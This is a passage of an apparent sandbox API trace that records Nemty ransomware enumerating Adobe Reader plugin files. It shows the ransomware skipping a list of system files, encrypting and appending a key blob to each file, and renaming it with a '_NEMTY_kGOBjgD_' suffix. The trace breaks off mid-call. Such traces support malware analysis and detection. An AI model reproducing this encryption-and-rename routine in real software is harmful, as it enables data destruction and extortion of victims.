HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ITA", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.ITA", lpUsedDefaultChar=0x0) returned 13 [0191.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ITA", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.ITA", lpUsedDefaultChar=0x0) returned 13 [0191.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.353] Sleep (dwMilliseconds=0x5) [0191.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25b547d0, dwHighDateTime=0x1d561e8)) [0191.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25b547d0, dwHighDateTime=0x1d561e8)) [0191.363] GetLastError () returned 0x0 [0191.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.363] GetLastError () returned 0x0 [0191.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.363] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.363] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.363] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.364] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="gkCjb/i8wGsd3qFCH6zNlpabLeI/UFdgFVhOb7IK9is+e9v5cSo9UMUV3SefP1hF\r\ndXt9M2WEmWHym0bb63dyh5v2gpvJVEVVMzLDd34bBEW+d5/0zb3RgQ2iaR5V051v\r\nbjxRB4vUFBgzwBniiTkdILEcV1uZ1UQ8FotygjXCaS6Sr0++Rp2PG7FZHjIpdqWB\r\nd34BH5ekYGKqkEMzuKZAYYco5X8PFQqcLacGI6KGyQwljBPqZemMDxWI7+MOYu0K\r\nHjIUlz0sDL748wlDOaRTSeZujru8Eb5wfCV4Ri0OftaB+gYKQLOFacSuC+X0fhBZ\r\nERnR0smQf6aFmiEej4PkVw==\r\n", pcchString=0x653e29c) returned 1 [0191.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.364] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.364] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.364] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.364] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.366] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.366] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.366] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.366] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.366] CloseHandle (hObject=0x2f0) returned 1 [0191.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.367] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ita._nemty_kgobjgd_")) returned 1 [0191.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.368] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.JPN", cAlternateFileName="QUICKT~1.JPN")) returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2=".") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="..") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="...") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="windows") returned -1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="$RECYCLE.BIN") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="rsa") returned -1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="NTDETECT.COM") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="ntldr") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="MSDOS.SYS") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="IO.SYS") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="boot.ini") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="boot.ini") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="ntuser.dat") returned 1 [0191.368] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="desktop.ini") returned 1 [0191.369] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="CONFIG.SYS") returned 1 [0191.369] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="RECYCLER") returned -1 [0191.369] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="BOOTSECT.BAK") returned 1 [0191.369] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="bootmgr") returned 1 [0191.369] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="programdata") returned 1 [0191.369] lstrcmpiW (lpString1="QuickTime.JPN", lpString2="appdata") returned 1 [0191.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.JPN", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.JPN", lpUsedDefaultChar=0x0) returned 13 [0191.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.JPN", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.JPN", lpUsedDefaultChar=0x0) returned 13 [0191.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.JPN", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.JPN", lpUsedDefaultChar=0x0) returned 13 [0191.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.JPN", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.JPN", lpUsedDefaultChar=0x0) returned 13 [0191.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.369] Sleep (dwMilliseconds=0x5) [0191.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25b7a930, dwHighDateTime=0x1d561e8)) [0191.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25b7a930, dwHighDateTime=0x1d561e8)) [0191.379] GetLastError () returned 0x0 [0191.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.379] GetLastError () returned 0x0 [0191.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.379] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.379] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.379] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.379] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="0pqX+IbcD13A/Qkm6+MKIIkR/dY3bMwUkHR2aV6kbWljf5EEmsfei9dcEkLtsaeb\r\n5XXx9o+QCjBrxBI++A2HiXJ5jhiqSFv7JjIgb9iP5drGPEvtOgrTm2f0mnEwn+kZ\r\nkjMsaqPX6TrL1retl5BqYcCxQuPUOC2vM5auWrtLkXCMAIjjbAorgbUCbpxgQHwX\r\neqcEDYvib0PN8I+xZEBG/BkaRfTUetCZtvOXxr0Ei1prM1SGvqrPlBV0JcTvVA2l\r\nDnxoV6vZ4A6P2hxhw1ZxQIv5x+H3Q3tvXdbYjOkUHcPVuQph3JLUoSZb8ovoJqSf\r\nLVYfAhYlAJmDBLAgkdPKLQ==\r\n", pcchString=0x653e29c) returned 1 [0191.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.380] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.380] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.380] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.381] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.382] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.382] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.382] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.382] CloseHandle (hObject=0x2f0) returned 1 [0191.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.382] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.jpn._nemty_kgobjgd_")) returned 1 [0191.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.383] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.KOR", cAlternateFileName="QUICKT~1.KOR")) returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2=".") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="..") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="...") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="windows") returned -1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="$RECYCLE.BIN") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="rsa") returned -1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="NTDETECT.COM") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="ntldr") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="MSDOS.SYS") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="IO.SYS") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="boot.ini") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="boot.ini") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="ntuser.dat") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="desktop.ini") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="CONFIG.SYS") returned 1 [0191.383] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="RECYCLER") returned -1 [0191.384] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="BOOTSECT.BAK") returned 1 [0191.384] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="bootmgr") returned 1 [0191.384] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="programdata") returned 1 [0191.384] lstrcmpiW (lpString1="QuickTime.KOR", lpString2="appdata") returned 1 [0191.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.KOR", 